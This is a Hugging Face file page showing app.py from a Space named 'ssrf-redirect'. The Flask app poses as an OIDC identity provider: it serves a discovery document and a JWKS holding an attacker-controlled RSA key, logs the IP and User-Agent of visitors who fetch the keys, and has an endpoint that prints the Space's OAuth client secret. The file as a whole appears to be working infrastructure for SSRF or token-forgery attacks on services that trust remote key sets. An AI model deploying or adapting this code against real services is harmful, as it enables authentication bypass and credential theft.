Spaces:
Sleeping
Sleeping
Download app.py from pzycl0/ssrf-redirect: direct link, hf CLI and curl.
- Browser
- Download file 1.85 kB
-
https://huggingface.co/spaces/pzycl0/ssrf-redirect/resolve/main/app.py
- Command line
-
hf download hf://spaces/pzycl0/ssrf-redirect/app.py
-
curl -L -o app.py https://huggingface.co/spaces/pzycl0/ssrf-redirect/resolve/main/app.py
1.85 kB
| from flask import Flask, jsonify, request | |
| import json, os | |
| app = Flask(__name__) | |
| JWKS_JSON = { | |
| "keys": [ | |
| { | |
| "kty": "RSA", | |
| "use": "sig", | |
| "kid": "our-controlled-key-v1", | |
| "alg": "RS256", | |
| "n": "kL6nRD9gxpZn9t8rXKLSmUI1aNJ3Sha-1_UW1uQn6kLwqYxUGyFpzNxLuvYM6YIeY7HIBjjdZm_kGrYfKC53hBe0UkO8hLg3855GUFPH39tnTltH110XALYILttxYi5x51klmAnmwk3KN9nwDI99ap_uwPOa486lMb8eZGRkefmmyCOKUxI-VQ4LtZJm6KhHeE7M1TSkUf_YnKZxj9JUl51EyFpLZs7Q-MThSFDYIs6SYKq9d6RwwNQPMOUeD4XN8u08E5U3vWeG_x0c8bGUOZDxEv_cxL-4KKx3VmhlpRoB9jQXWB0tmLfERruZmj_UYjcZBQc7hdNgiE7_ovCobQ", | |
| "e": "AQAB" | |
| } | |
| ] | |
| } | |
| SPACE_URL = "https://pzycl0-ssrf-redirect.hf.space" | |
| captured = [] | |
| def oidc_discovery(): | |
| return jsonify({ | |
| "issuer": SPACE_URL, | |
| "jwks_uri": f"{SPACE_URL}/.well-known/jwks.json", | |
| "authorization_endpoint": f"{SPACE_URL}/authorize", | |
| "token_endpoint": f"{SPACE_URL}/token", | |
| "response_types_supported": ["code", "token"], | |
| "subject_types_supported": ["public"], | |
| "id_token_signing_alg_values_supported": ["RS256"] | |
| }) | |
| def jwks(): | |
| captured.append({"path": request.path, "ip": request.remote_addr, "ua": request.headers.get("User-Agent","")}) | |
| resp = jsonify(JWKS_JSON) | |
| resp.headers['Access-Control-Allow-Origin'] = '*' | |
| return resp | |
| def get_reqs(): | |
| return jsonify(captured[-50:]) | |
| def creds(): | |
| return jsonify({ | |
| "OAUTH_CLIENT_ID": os.environ.get("OAUTH_CLIENT_ID"), | |
| "OAUTH_CLIENT_SECRET": os.environ.get("OAUTH_CLIENT_SECRET"), | |
| "SPACE_ID": os.environ.get("SPACE_ID") | |
| }) | |
| if __name__ == "__main__": | |
| app.run(host="0.0.0.0", port=5000) | |